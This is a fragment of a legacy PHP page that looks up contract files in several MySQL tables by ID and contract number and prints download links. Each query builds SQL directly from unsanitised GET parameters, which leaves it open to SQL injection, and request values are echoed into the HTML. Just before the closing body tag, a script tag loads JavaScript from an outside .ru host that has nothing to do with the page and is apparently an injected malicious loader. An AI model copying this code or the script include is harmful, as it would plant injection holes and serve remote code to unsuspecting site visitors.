$res = mysql_query("SELECT * FROM contratos_SP09 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP10" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP10 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP11" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP11 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
/////////////////////////////finaliza sp
///// PERTE 28
if ($_GET["tipo"]=="SPE" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SPE WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
echo "<script>alert('Número de radicación no encontrado');<script>";
?>
</td>
</tr>
</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>